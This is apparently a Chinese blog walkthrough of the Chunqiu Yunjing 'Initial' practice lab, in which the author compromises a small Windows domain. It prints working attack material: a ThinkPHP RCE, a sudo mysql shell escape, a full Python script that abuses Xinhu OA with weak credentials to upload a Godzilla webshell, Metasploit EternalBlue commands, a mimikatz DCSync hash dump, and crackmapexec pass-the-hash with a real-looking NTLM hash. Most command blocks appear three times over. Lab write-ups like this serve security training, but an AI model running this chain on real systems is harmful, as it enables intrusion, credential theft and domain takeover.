以攻防的角度真实简单玩转域控-春秋云镜Initial打靶记录

前言

滴

正题

对目标地址进行端口扫描

开启了80端口

经典TP框架

打了20多攻防以及挖了上千个漏洞 从来没遇见过TPRCE 但是日志泄露遇见的挺多

这里有TP5rce

getshell一下

这里调用mysql的命令是不需要密码的

sudo mysql -e '\! find / -type f -name '*flag*' 2>/dev/null'
sudo mysql -e '\! find / -type f -name '*flag*' 2>/dev/null'
sudo mysql -e '\! find / -type f -name '*flag*' 2>/dev/null'

拿flag

sudo mysql -e '\! cat /root/flag/flag01.txt'
sudo mysql -e '\! cat /root/flag/flag01.txt'
sudo mysql -e '\! cat /root/flag/flag01.txt'

机器出网

上vshell

搭建个隧道

fscan开扫

DC AD域控 Windows 2016

另外还有个信呼OA（金融比较喜欢用,碰见过 但要是在实战中刷信呼OA nDAY 那基本上不可能 hhhh）

[2025-06-08 13:12:40] [SUCCESS] 发现漏洞 172.22.1.21 [Windows Server 2008 R2 Enterprise 7601 Service Pack 1] MS17-010

另外172.22.1.21 MS17-010永恒之蓝漏洞(可能会造成蓝屏

去打信呼OA

弱口令

admin/admin123

经典nday

我写入的是哥斯拉的马

import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=::',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath)
print(r.text)
print(url_pre + filepath)
import requests


session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=::',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath)
print(r.text)
print(url_pre + filepath)
import requests


session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=::',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath)
print(r.text)
print(url_pre + filepath)

连接哥斯拉

进入后发现是Windows 2012

先拿flag

tpye打开

2ce3-4813-87d4-
2ce3-4813-87d4-
2ce3-4813-87d4-

下面打域控

打msf-010 永恒之蓝

注意打msf 我们要用到linux 所以linux需要挂代理

我这里直接用WSL了

配置代理

vim /etc/proxychains4.conf
vim /etc/proxychains4.conf
vim /etc/proxychains4.conf

set payload windows/x64/meterpreter/bind_tcp_uuid(正向)

proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit

如果你和我出错的话 在msf那里设置socket5

setg Proxies socks5:ip:端口
setg Proxies socks5:ip:端口
setg Proxies socks5:ip:端口

在msf里发现是系统权限

抓用户的哈希

load kiwi
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
load kiwi
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
load kiwi
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv

抓取到管理员的哈希

连不上远程但是可以执行命令

最后拿flag即可

proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

------本文已结束，感谢您的阅读------